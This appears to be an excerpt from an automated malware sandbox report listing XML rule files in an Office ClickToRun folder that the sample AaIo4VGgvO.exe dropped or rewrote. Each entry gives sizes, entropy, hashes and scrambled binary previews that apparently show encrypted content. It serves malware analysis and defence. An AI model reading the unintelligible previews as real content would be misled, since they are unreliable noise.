Preview:	<?xml...t.........-Bf..~..`..Vr..-..6w?..\|...Fk..e.\..H...l.hu..)...Mc.....74..g.q.!~.s.....:b...Cm.....:..#.....t...3.xl.E.....0{..J..!..X.Y.tz=.<..w...Q.-A.b.....`..N_.u.5....D#@.q.@.....4.y...5.>y..OG...#&9.s...D3Ss..W...i..X{d[%v..N.S~_g....3zy.a....D..2\|...H.RR.].w..8..4..#.Q....#.\....t.t.f.1z.c..\%.\.u..[.(6\|..0G<CT.....y!T..OC.......WC.G..0.....O......N,..1.Qr..N.F(`.....A..k...4\|....#.{../...P.ybC.f.t\|..7..<../......#r.T.".YL.SEO..xf....;..4X....g.8..1Q.......apm...M..../.0....Y.S...2.......Tg.?;{..3..5H>.D..2`i3..#..{b.....g;...XV....>....(.."....+:.@..o..y<..........Jm..H.....e".lx..Hp.y.f.X[.d....w/.?w......n..M&.....4.7..z.C...w.{.141....]1S_.....lO...j.0..o.....h.P..t....Lq.2.V..Va.H..$a..6.#....{.v....h{....ZQ.TD.#.....Y3.o,r..z..O%.i.?z.....fU}.rd.3s....?X.....?.]...`.lB....L......(.h'..Y.[..#/2H.-....C.nd-C......]....*T.H...D.3..#.......$...]:..(....r.........c4../!.i...G-.F ....".4.B8vs..1"N<.....W....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.957496829477616
Encrypted:	false
SSDEEP:	96:ffwEVx12ssN0l/YP+y2iz9FzyhbCrGlPim5A30Kh:fzV3sNq0+yVzubauPiIA3Lh
MD5:	A29D689EFB0E8CA5C90A70F6F233EF8F
SHA1:	1404F325B1164E02CEF8673895BDB8824DE492AF
SHA-256:	5B9CD5F5950146EF2CB2C3EC3EFEDD71019E94190EBA1FE36B6E0D46715B586B
SHA-512:	1E737B0808A12597FEE992413412B3E37B21EDE1DA9E8E7146EEAE2FC666DE044075684E7860B559D8B1464EC08412B1A0D12C71B8522BD76C666E9A1FAEEB31
Malicious:	false
Preview:	<?xml.}..xr...S....m?........p;..w..&.$&...a..k.........a..3.....px..<.P..Wr.X..;T..\..?.G......&.Wb...Nk..D.......D..D. ...%.I..:.=-.l. E.m.o/.oo...!.......M.4....`..`tk.W..^.&..'.u...".P"?..v.E..zM..3;K.T.:..4....._/.-.F.\|.}..5M?..<$.)n..!Wj9...O&.{?.m&.....e.<.b0.<Pg..y^A........(..'>.....NF.`.m`H..M.Jt.h../..1Pc...U...K.#....m.6.V+.+.....Z.w.I..`.,; ..9$u.<...\|..P$.dNW.]2......}3`\.n..RA...1..i]>=<.6aw..3...H..HDz..~.B..O~R%.S76T...J.h5..h..C..l..'...xl.@...aXO.........bb.t..%.1..T.......%7aL\|R.&..yHWRb!U.@.G1.?/..Ma..L..su....B..]S...rOK..Jw).i.$@L.....)5.`V.y.......R.....1..x....h._.f.4......:........:....@..L..Z..."?P...w=..lKp.k..`.3T.6.F.^..9 ....<.5.......)..._.I..O.............`.?....P....;KM.......a=G%M..H..M....0...G..=.1y..P......X.....!..wm..........3.......K"^.J ....J..R..u.......v]U7...Q....".6.X...n}=..lm..=Q.C.....x`.<.t=..aV.....%.....E...i..C...n;.3..#....K.X...x.p..p..;......W...+k%.6....:..S.n4F~_?..{.!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.829656856120615
Encrypted:	false
SSDEEP:	24:b0szrlO1iodBYRAlFNu/8bkFJxZExfOyEWM9JvpyZ6b8bD:bNzrlmL+UNlYbxZExmfJhc6iD
MD5:	2777A5F0A5A71DB6EBC91955D51E9751
SHA1:	7CFBA85FB2C01E227F359F72BA6622C34BCDDEB8
SHA-256:	596726EE7063CC597433BD326D5C78A40E1BB94D13C5951C74C2DEA6A79493A8
SHA-512:	F55695D4A900754683E0A66505AFAE3802513A84EE9F4B56700D036574E6B3CDDE99EDD78899DB2E9F83C7580F0BAF1D57ABE0B3939109854E33A4E074F325D0
Malicious:	false
Preview:	<?xml...b.u.../3^&...Lx..6..Z./.@.....LPI7......h...5cr.3.N.....G.fl...N.....5..'b....0.c..A.i."#..s.K.G.}.z)Z.....\|......"...>0..?T..............F..M..5O^.....@.8...N.T..y..tT+...K.}...f.4.\|..</.qK.Q(cR7u.Q.....Wy._...#&~....U..<9+U..kU..).x..8.C.8..,. ..u...n"_.BFMr...v..Y.t.. i\|m...UB;...bmrb...f}.............`@.........y....h.T..qF..;...q....%.....{......s.q@._.L.Y.x.x...7......I.....e".k.TmSL..4.......U....K....0.(7\gK..r=../.@..eY..k..Wd.ci.......Q.....U...}wP..F..oE.....)#X..C.D.y-...V........&.\|....t...x-v..c...W5s.^.../.G.^...ye.6S....&..^..cBZ.d3..v...G..%jy n..V..Z..B.....C....LQ,..;K......a.iH..N[......nz..S9...`.}..VPJ..i.'..k.MB.W4.{....9.X...n..x.....Z.[wu.....P....,..<.....jC........)q....E.D3...7.....KC.Y.S.ZkfY^da...J.m..Y.....z.N..,...k..q..\.v..k<>.<PS`....t.6 I...0\|...MoQ..{p.^.U).k..v.Yg....B'.......b..$.../g:.x.......Jf.K@:.o.'.[.d..)./..+j../......mK..&O/acp....\|.#.V..m@...ko....E]...D.6..m...2..w.%5.'!..._8.wQ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.852156156238286
Encrypted:	false
SSDEEP:	24:QyY9y1NB7AOEtgc1axeRfj75OzE4xKy7ReN5BjtOAHb3ORtnTP8QNvsps7jbD:QyY9y1NBHEuSL7aHzMljkmOTP8QNv7D
MD5:	201D9812C6711779AD546B8E053D3F90
SHA1:	4F68E9BC3A6FCECEF10988ADD9AD11E737F849D0
SHA-256:	75717ACA68E604AC607F1FB1F38BC79BD7B5CA531DECABD52306C65FF81B59F4
SHA-512:	A84FCE5A930D5E37396D146B511D8C59807C35512699AC4DE1802C787A75104CE407BDEAEBBD71DA9A52002373F541F7CAAC597CF1B944911A51FF0CF18CC91D
Malicious:	false
Preview:	<?xml#fV.1...........y...,..IT)..l...t6.5^.B.jm...b..X.J.j......?....R.;..vP....J..;srG5l..Cm@hL'.Ql.6.....0.ZB....2.X..Z.@....[...Z!.S..U...O..M...2..`.k#...R.Yl...)a.+.%.O......X$..J........A1.DW......f'K.-....T...+Z.p..87.d..AU>..)8E..9.rK#s.T7b..N...b+=Q<..G.a..t.d..+...ZM..?..z..K.. )+'.Rn..k=.]....F...EP......?.l.........!.UG....\|.v......#\|."._d.M1..Z.7....I.j....B/?.h..9..f....r..>...a.3.E..P@.G....?me,d...9...U..(.(..w.....'.4..nl$...vC.NP..B...L..:4.c.5.".#B\|.....O.f~..9..#.$.UxF.-..h. ...v.'p./..R..U.k......u...C.M.#..+.....I&)i.CR.......z.I.)V.............Q..c3..bHOX%.t=..........XeB<l.'......r.KO..r?.Y/Y.......o.[. ..#!.E)g..!....Y..+.,.,.....4...~........J..@@.H.W....u..4..&.p..C`.8b]tP..\.~.U..=....[.......,....4....[g...`8.dr.7.....+..'..bZ.0V......3V.....c.?.Ox..........W.........f...q.%....D:\|...........;...%..X....e.v.!.;.p,Z.8U+X...j1.mA=<;e...w...#..._. ...x.,......~N.,....s..4...gO... ..a-.t.K...v..K...).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.825060173168084
Encrypted:	false
SSDEEP:	24:N2ovedir4zoRZaYPD4kt+FxQ1NtDUTUxRucfCfsbD:roir40R7HoTrcfCuD
MD5:	7BB56BF104A718B96C40DDC0EA250532
SHA1:	5B2902A4B3E2E1465A51A9B55BDB35D72C086CB0
SHA-256:	77934BAE6DE7EE62474FA2915ABFEAE373299BE34665B160023A595A6A7ED128
SHA-512:	7CA3858B11677734712BEBB81FEEF055D7F72A69FD244186596AE59FC5A064AA8120E74B7658287E59FA177F015C74AFF8B0488A180F58683CE75DDC99578CF3
Malicious:	false
Preview:	<?xml.`..p.~2f..I7..+S.d.."..+<....h..;dj.\$ pM...>.....@. ...p...o.5.KqZ...[.........9lC.3.x..P..a...;5..B#u-j....4...'...r[.$F..yO5.@..T..4&....0.......r....sH..m............~S...{._..r..U....Es~.%...+..^...BN..s.tKv.b.Q..O.F....l...0...K.WP....x.E)\.G8..........$.......A...6..u.`...`GI.....u.;.9.t=.Y.n.a.v....W..;.....m?."....k.......E2i1.>..9.b..v..Jx...,..I)w.V....\|[z/...Hg..&..z.!.?.:...L....h... w.5t\|x.N..m).^.w...N..Y....4Vt...#A+)q.<.....7..9.I.2.....{N..N..$...YQ^.T..f..In.....xbh-....&0J..Z....jm...'.R..r..>s.1..f../.L..op......n..".%.....L...z..t......@6MY.b.N.>..\.....3}.oc:WV.....j...<..........V...V.Z..-.H.w...Za..N..P.zj.c`...@.?.>E@\|..i..@L./....(.........v..iO........x..B.~..0f..K....CW.<,..._.m..E....4.?x.i......2.L..x....y,g.V..l..LN.B.K...q...n...H......i-.r'>..vM...G..:.k.5.nx.......G..R...._.M...V.X....i...+.#....Q\3{@[...H...KP..Y........#...&c..>..mCC.S..3#/>....h ...U`jU....93.n.k....Qg.OF..U@....!c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.981005426507606
Encrypted:	false
SSDEEP:	192:Xdn/GDswkw9qxZ/0jcOdxSKZnLtvyiRe7JcT4L1R0YDm:t/eswkwksjjSKhLtvyiRpQ1R0F
MD5:	AAA67A72F7D22421CBC4FFB8C4452141
SHA1:	3C78034F1F99B9CE840D0455F5E8E89C73BE4B52
SHA-256:	4D2635440BD53F152953994F3D0DA2502C7EEC90E054ECF0DC811E6444F4570C
SHA-512:	65FF7BB0B1A530836B79315310F69E461EF37C46CADD7BAC7BFA940291B7797189CF18BEFE0465E1EEBA18D418BBBB03C06166AF19843FD7B44332CD1592C0FC
Malicious:	false
Preview:	<?xml..jCMI.V~.d..z.....3.2..+.s..@.....L .....6.j....y......A...p...P.bq.H.'.q..S.1......W.X..7%w..@]N.#e..p.yI......W.;.!k.q........W...y\|......a. .U.9.x.x.}9.....(.n.TP.s.n..b..Bp.Zx..h.HH....,....\|....&y?Z.<.Av...8.}../..M...~Al%x.L~.....x...........'v...G.CU..R.\|<'..'LS..3.b.s.._......7..E...$2R...&.j.[a...-....#iq...i...0....z.c.........Y...HMD....QY.Q_..^z.PN..m..kE.1._......+.+.)..6.Ru........>%..._+.H.S.o..`.I...rOw.\|....g..Q.XX....Y...Y^v=...`..D.......L,.I.F.L......\..j.a.?.....A3..<.."u..F."....=.<..Lh.~......}.....4.s.d#.bw1Y.HO.9...W.....+.OnM..U.-&.?f...~u..m8.awiY.X.....H.Trz.%.$..\.z...W>^n..k...:..sX%kG..,.h..N_.k.U.+ya.g..%.H9y.P2...q.....[.u..b...P.H1..G\|..X-0.]...$........_>.Q....e..j...h}...S...P..y.(...........Pb..Q..j..7h...-f.(:...e...3......s.:.o.Z;..[O.$..J.Q.....3R.[o8......t.c%............#.o.J....0LP......v...Y....N..~zm.ym.m....xm_....9.E..(..%BX$.....0...\|.;....GE.t.....d....z.R..F..Yq..D.o..<m.L%-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.971448211463529
Encrypted:	false
SSDEEP:	96:P6pGIJfBUuaS3Xpek2c1EXEqdbSs5aAdg3KYTNrSoyfiOQGEft+9rPoIL:SkIRjh4tdT5aAypBVyKOQ/t+ZV
MD5:	AEC58E924F852267D64A67F45DD36D80
SHA1:	4C74D07CB14F4D168965639133C84894C0D1C9FD
SHA-256:	C533890B7AE1FEC49067B45B5A86F26D8F45E391155425478C1295EBAD9F001B
SHA-512:	9B017D5EAEF30DE5F2E2C1DF05E1356BCE70C61F022C79CCFDC2ADA27934CAB45C39998E1609C0C81CC76AE21701970583EBC9FF853487E491CD379D191521AF
Malicious:	false
Preview:	<?xml..c.Bg.E........!O...R..bN=...F..[5...B.....w....p1d..F.7s.....-..GT..=].-....Q..^......C.V_.W..;.P.].../W}.S.I..b@twZ................K.nW.~x..@.FaC.m.....%......1..R....,...W...r.H}..!.....a...v...A..S.J\........b/...rh.e..{......W.gL.7..v.]...?4}%v.=T...m.U...'..l..F\|A.02..9.......U.-.f.....F#..d...e.........;.....`x.../.....C....)...\|.2.!..{.\|..d.VlK.I..B....g.].9../.....0.01.c.......~..g..z..m.\SX....\.....{g,".wb.&..c....N.a....U....[.Y..c...%..A...<q...6.W@...oQ.....S.....J..a>.$M.$.......b.\F}./Qi%f...'.....5........bp5.k#-F.w.S...7.\|.K.....=.;...a.u.nJ.D...p.\&80v..\|.6.vf.U....O.....,....:..........m/.....R..q..D......)....E......g..0...q...G.k..&..>.X...J...L...Q.............Nxy..ZD......7v...).....^$.g7..].Q*(....@6D...-5./.<B..=.....u)7......a......Iw.Uc........ri.oi..c.n+.p.0.6...<S..&9H1.$..2.i.v\!.O..a. ...!.......m=.......c....(d...fo....4..j.j...3..OI..hq^.F..ZG......a.?..[qr...}.8.../.{K.@G.T..DfL5...x.>.....W.vR..........6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.963440900005865
Encrypted:	false
SSDEEP:	96:8EN9FW1PyCTnm1f1EuKOZy8G+Te6KYsmOV+kMIPPwOGOT733:8eaPyCTnmpCjO88epGu+kMIw5OH
MD5:	8D15B421083E90FE9B14A1B462E324CB
SHA1:	B72D1A52B7AF4C8610E2584EF30162B712439857
SHA-256:	0F1CB83CCA8BE64E60D6F316E418FA24995D1C83A4C95E5A114B91D27E602625
SHA-512:	59809398877ECE7E337370BF3005E5533D6A222D4C80AAF251599D9F7B4E633A90183A33A72FEB078E5E91EC8B8211497A482CDAB149B1A59DE2F9DC5EF94DDB
Malicious:	false
Preview:	<?xml........m. ..4.....5...:p.........b.I..P...n.d.s...6H....... .F.@.t.Mf.z......W....].Kv......j....xg.`...&.o.......x.........V....}.....d.....{UyB3..Y..Q).u=6..P........m....z._.W..A...T...m.`.J../.y...5.H.6...#[.......C..^..K.b.Y,=.Bl.R..?.a.fz.IxJ\|.k.6<.zwBv..T.(SS..b...P...F...B.f?.Y..)....D;.l....&..<....".].....p.Dxk..A%?.~..'......O..R.T.....5.y5.....'......-.j....I.h.....1.n...O..0........W..K.L.\I".8..h.1.!......o.X..U...rh;!....s....Zd.5.&K ..5.Y~Nl.j.(.d..U....w.....\%.y..a.......L5..._..KEI.e...6e...~.g. A.r..y.[..ma.xq.......+.....LA..4..O....F{S..V....C.x..XD..r"e.d&<...=-.G,j.4....-*u.\|.......>J;X..... ]..Fw\._;.[..../.....UT..Is~Td....K.o.....=....qS7.............Qa.y..:..K/;..}.?8....<....0\|.v.............Z.. ?.....".6..2mL..D/.8...~.>..m%..!.Hu.?{..k.w..g.R.\|..o.%0.... 4..=...I...`X...s...Z:YHH5\|....D..E...YR..>.R..@.e.8.^.S.?.1.H..E.(.....\...@....-W.)u".A..@.../.......,8]D..K....e...V....6.Ugh..0.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.9606222043815285
Encrypted:	false
SSDEEP:	96:xt60+eq8MnQnPuLZUCSpyItcs0hD6sieOkm7MCRRq+qMQsnKMvvtUqy:/nq8yqCSp/Cs0hWzeOkmnDHQgKMnA
MD5:	424E3371F728FBA3CECD1BF8E2F14771
SHA1:	064E670E3F496574BC5F7E022A55ABD8EF99503C
SHA-256:	7885FC46E985CA3D014A00911D4500E28B3AF482722131C4BF53637E7E39A15D
SHA-512:	2FB67D4BE3EBF52A62DEC01511926774C5519295E7EA9A67D3CF210D47B643936DB15C3049B9E00BB0DACA5CA07E5B4AE2D1D10D3FCC2F0F5C0032168481E4D3
Malicious:	false
Preview:	<?xml...JG....q.....~.........rl...8D...v......=..:.d...Z.,p...:.J...^un.6.<Xd..s.u..a.VW.Z.2....~_.Fr...1..X....d....`cf...;1..-.8.-.f%...L+....u.K.:....#.1M.....=.).........;p.....S..E..W.Y....=x.....Xw...U...R...t.........!..v.-.:...g....9.p..#Z....y\n......._..R...W....#k..,.3..I:+..F..V....AU.]=h.lU.0..UGc.e$...o...J.U...n...+'u......b..Q.....l..s1....,...............6..#.0.u......N.d.P.U......p..K..A.'{e-..P.r.c.#...'..........u?s.m..,....4.S.SB.../.4n@.Zx.1.Xpp%..e...Sj..m.U....0._.J...-k..&].u.......9{C..c .<....i.{o...S.nf...i.R=.G.....A<.......-.l...v.w*.I.N.b.c...@.'..q...J2..;..J.......q........<...?8..W;O..%...<..',<I@fY....)d...U.e.f....i.{..0.e.._....#..............E.#...Ev.B.....{89f...[.M..[FLM.h.l.fd..2^'.0.\|..]M..z.....7t.......c3Cx..M.Q<K...%C[..._.>{...1...(_Q....3......G.e"S=..T2z.5h.Y.4#......P.0,....z......;HI..u@!..rj...R..P..}.v...v..0.m0..x..(p6...%[.\.=\|L(..s..mh..g........D....\... ..1`,....&.9.=\|.....$.\..D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.936528173527122
Encrypted:	false
SSDEEP:	48:IvyeYVWphm79RXXj78HdWLxwLOGn+qJVZqBRYwEiZxvf8Tc3oO97GhF0/9nTzU7B:DeXphm7rsHdTLOqHZqgiZZf8TcYECLkC
MD5:	FFA9A26D9A8FC4BE8C9510EAD9B6C6FC
SHA1:	C2E4EFE77B63C434FB65C545A7FDED15EB11F761
SHA-256:	2D12C26BEC928D08DBA77311281BA6D99F48EAAD9BB422140106E67F1B9098DB
SHA-512:	38404E5D96C008D9273B8E6038CCD2A765339ECC0E7E6F916702B091909B424ED86804C7AED347401641BB6F20F13472AF36863F7FFCA70053409619AC020EB5
Malicious:	false
Preview:	<?xmlb.3.=mM\..m.....$k..?...=.R..........C=H..;U(.....a.......G...f.V-......'N&..>...@.....#C..n$.......fd...~.T.V......J.........zD.{..a.>....T..T.......oo.E.+.....`...(B&..$..#.....1...."y..e..f.B&. B.....{...\|a2..e.8..:....8Z.F1..4.X..R8p.+X...G....G.5%_....l.....@ !...M.y.V....@..z06..j...hi...I..Y5..Uq.....xI#l.`...q.Op.6..%4\|.3.r..\.'.. .l$...........^...2..@.usN._....7.......[..C."."...A.K.........K..mH..H.\|..i..r..X'a..8..d.M..-o.,.:..c;.`.T\Y./..,G.[........w.......#.p.{.j.......(@nG..g(.....4..<.9.*.s.Q..Z..`..?2q;.F...q9..E.x.?....H......v.Z..fu.B.^.. ...>cPY"#\....@....W.bP....36......}..d..w:....I.J"..Y...R..6....$..../y,.n.rHQl.C..X{(......cx.ZtP..g..&.7g....s.i.&..Dl..{.....4k.n.......f.......}..N...:}D...}.?..6..{y..TN.T%.}.1..T{.m>x.h.D............o..}].s.a...p#..J2..... ..n...7{?..G.Q...oi.zZ..D........C...o.O&j<.J...I.....M..W9...eod...h`..~.i.4.O..[.....`..C.Y..u\|..Jh.>j..}...F..t...'6...8>7.0L.y..~...$...u..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.685544132918099
Encrypted:	false
SSDEEP:	24:pImVhQgMLOyVSNhivQSdU/j5P71l9K5Abw0bD:pPhQgMScvQ6U7h7lKGVD
MD5:	EB96C1003D84ECAE2EFADDFFF42060A9
SHA1:	358A5E8EC318CF65C25C85A173508C2B19A876D7
SHA-256:	BEB03B959B1376AD46AF8E10FD593D0D21E453F65B42964121D12B8CA0601BBB
SHA-512:	7C35ECED5605983F0D8C4033F4E1ACEEBDF58C7BE112EE49BCF87F71B3A24B053F9FA143E62A82073DE6047309912AD28B9C09BF09E18E67FAA27FFC39FBE09C
Malicious:	false
Preview:	<?xml....&q...<7h....uO.....U...s..Af.}:....t..8.aE...]....%..L._M:n....2".@.C.E.........=...UF,.7.....A..o\.p..k..B!(..:.>.m]o....."..fS.M.u .&8..\|C.D....$.>o.Lt=....`.DUD.AZ;B..tqX~n..AV.#...h..}m5.Sl. .....0.H.d.<...?}...B..L6{..y .`....?.{Y..H..F..Ae3.-kp.k..J..I..l........-fO....A;..... P.+.&.r..F>.M..9^.?6..=q.ZuW....M....F..H....Z.%..W.+z....%.r-.D.[.8..R[$.q,..R.M..C....x...XO.....8o..)_.Zoh......q.`.q.;.f..)...M...._.Z9....].n.)......&....k.=...O.:..I......r.qA8Q.."(I.......$^..}.B..N.[;.N.Wj.`.......f..g<..u..ue...Z6vVYyu...g.............B....`.l{.9.y...n..&_.$.%.@..1.5.op.F....r..Dn.t........W1.......n....\|.g..x.;8.c...-.Ow.%..pHO..4>.$.)...o.....fq.M5.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.935405991854494
Encrypted:	false
SSDEEP:	48:k9gSVSKlxdqZtk8uGwN4568yW3mAPx8QoEe1QMZtNvgKrCpSSDvnEyouo47qElgJ:k9yELqZSjN868VxPxdezvJrCpSEnE3u0
MD5:	836EE11CDC446AB397C4CBAF714D9510
SHA1:	161546A51DE69205723335109084DF0A95750A99
SHA-256:	B0F32AA67366C8397B3BE9E51329D4C47908DD893F1FC5B0F7C794B443D406AC
SHA-512:	F84DBC72F0AE2B60AD05A4B2C3DC00E91F9461F157F5B35337C91BE9421C66EC2CA8505750004AC1130D9A0F04912B287972FD1E8121AA5A56DDC04D60BAC8D5
Malicious:	false
Preview:	<?xmln,...........{@..,...J.30..D.0@).- .#...m.1S.[.b.............aa..>.N......&D<.S..9..=..%'Hr.2q..:...:.Q.Y...Q......H..@=...G.{...z..E...D./....U`.`..K-.fK.g..o..d....C....y.O....-..A.T....NN...erk......F\0..p..i....@.U..t.b.+N.,a...c..xF.Xj..Y.c..... .D..$<..0&.......n.ca...........k^.!.G.gEy........%HG...t....}.JIG?..i1.r.5.....h....C&..n!..?.1 .g..8...q..M....C.O..M.;..+......zw......4..n...M.f.,.oJ.H.@p..w..\[5N1OO...x..7.K....5.{$N..C.IRa..m))..W.C).U8...<.w%...h.........]tj.......(^TfE....5g.o.s[..G..&.C\&...n../@^-.W.....S.\|.Ps...E.\|........k.E!.S\;...)v..#h..^.q5...V.u.<...x....i.":$..[0......@..$..~'..+.......uz.R.+.09..!""...hE.P}.#....=....-;.C....9g...........q:.:G...6....N...8y..xT.Y.yl ]...2...,8.P.!.MV..,..\.+.....H}...'.t[O...d....?....nwM[8..g....`.;.-.U....}..9..<......#..^kk..[T.&~w!/.P.k.......n.....d..I:....Q5.........Gi.F.tn..!..M..\..0.>..../.j.7....6.....<u......s.+..+..S...;.Vi......MX.".....)?xUO&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.73243896787245
Encrypted:	false
SSDEEP:	24:j6OEc4kpaR0F9V4ki4YmMMsfFYPuusjWNPvLSEbD:ud9DCF91iY/Pbsy9WOD
MD5:	9CE7BAAA356A760AE1E765EAEA6D891F
SHA1:	45169599A29714CFFEE83B7BE1C712EECD9BE7D0
SHA-256:	BED50C0CF9B0F05A69342487D488DD59001731A6189E41CF70031597436C7BCC
SHA-512:	078143BE4D56D4FA693D7930BB54C69E2ED11A8CCDD5C001F1E2480AFD9865056B25CC24D13CFE30C564517497A6A9361896CFA5E2B33D3EFB7F5AE110520FD9
Malicious:	false
Preview:	<?xml.1.".....}&..........._P..r.p..et.E..b..(.O.R1.<..f..A.....@.C.(..;...vY.....+&...I...g&....nZe8.._z.Dl...Q....ZD...;.f.\|...ol...\."..F.{.T.V..q+%U....5x...Q..;d.,u...z8.....O.......WP.@.a..OQE.w.R....%....;.^...<.....a.........m.!....!.~....;vH..J.....(C~.T.%p......=.{#^.>.-B.......h./...f.U;.....\.N.H.6...\.gu..}.>..e....gU...N..u.9....E........@(...fb.Tf-.U8.......b...+vL...wW....#^f.v....9..)M...o..^.F...rv-.I..\|[V.X>....\|.Y.T.Q..s.....Z..vT.w.....`.H..[G..FG.Djnuz..\|....r..K.#..1......_...0.n....h.,N$.[9..2..n.xw...d.O.W.U...s..Ow....^.,..0..........`.`...qTKM.V.e.G.........3..........{..O.(...L....#....u..u....8...&Zn4.$s.... .....k.C.....W....~....!./.teo...i..`+SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.94128370563339
Encrypted:	false
SSDEEP:	48:DVO6bI3eVPwZV1g5vfsIyFvKi/w6DHzu2ryYCYnRfOi7dR4E1k61WNvZXD:DlbI3eNwhgdyFvpDHzlLCYn5dR4EbovF
MD5:	F9B0F10044EEE7D00C9371CCD04A9738
SHA1:	76EDADE9178E09981F739F4A13A0D70E413D966E
SHA-256:	2C0EBA59AB7545AD938104586BBA730A5DD4E961514F241AF6D2A54CE07F8872
SHA-512:	91509237F6B749AA4A464C3679EE892B8135BF6B4A47D8266ED82B2A9258B78D3777290CD3001CF066E9861B7765FA8258FC331090285FB21314751DB8912DB3
Malicious:	false
Preview:	<?xmls..T.....^...J....~..\|.3[.......@)@eLLd}......./!.ny..0.V..+=.Sh._r..K/.-.g..}.{D.....D].u....._.R.(..y.....M..Pr..@......\.a.....j/w.....xU~.ww....3....5....c..<.08.........L$.[.a.%J.u~.w.A....K....{..,kq6..~0...#.2...P...z...{.:.G.k>.1........n....].hD...... ..&S=72/...Y..A\|..Z,.(.d....\..S....=y#...[.I.}dg4.. .M>.LX.........l..g...[.,....6.....B.Z.....V......;...%.F..V.!O.vy0..E...;.....'.I.Az.-..2......W0l...u5l7......ssr.}o..A;.IK..G.)=x.k..~.%_...^r\...r..'.fW..^E.s.U...x.\...mU.+qO.....X...r....s._.jWs[Y}......S..O...(xT.r..2.0_.YX..aGCD..).....VMS...............a...0...D.&...........li....( `..N]..n.cC$~X9>..K..[...B....0...u..Stw.u6..4...,k.R/.....t..Y`U..h}.N...H.}....................9....T...ffS...^..X....%...."......:.Q.#.......SJ;.\J..'.or...I.q...&...I......a..qw..~}.W........!2M..[.%.Pj..%Y.!...z..B....>Y..`N..>+L..R..-.I.....3Q.....P.=.4...N.v.1..1.x.uS.=D.S1..+.R.....&!uJ..3...@yg..Bv.e.*.\..a....7....,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.8176882233034
Encrypted:	false
SSDEEP:	24:uAueeZxcI920m1yJbC28Fkx/EM96Vr4Rf7WFLYHFwSgHguXBCnuBuHjbD:uAuee3TnJ6FkT7WFLYHmHguXBID
MD5:	3791B50B243F338DA1AF504889B4A399
SHA1:	D2CB30BF5DCDD04FF65D669AEE0FDE2A83628B36
SHA-256:	C825E53448748344DEA4BDD3B728F5B1C120D000D346704294DB4F85AC134D64
SHA-512:	0F9893B8F13C453F50A5B32F2FCB8F67380D9CFC2C988DB123A646475437EDFEE36F6EE4BEFD721728BFFD8336B9468837B844ECD32F85D206AF479BC546C93D
Malicious:	false
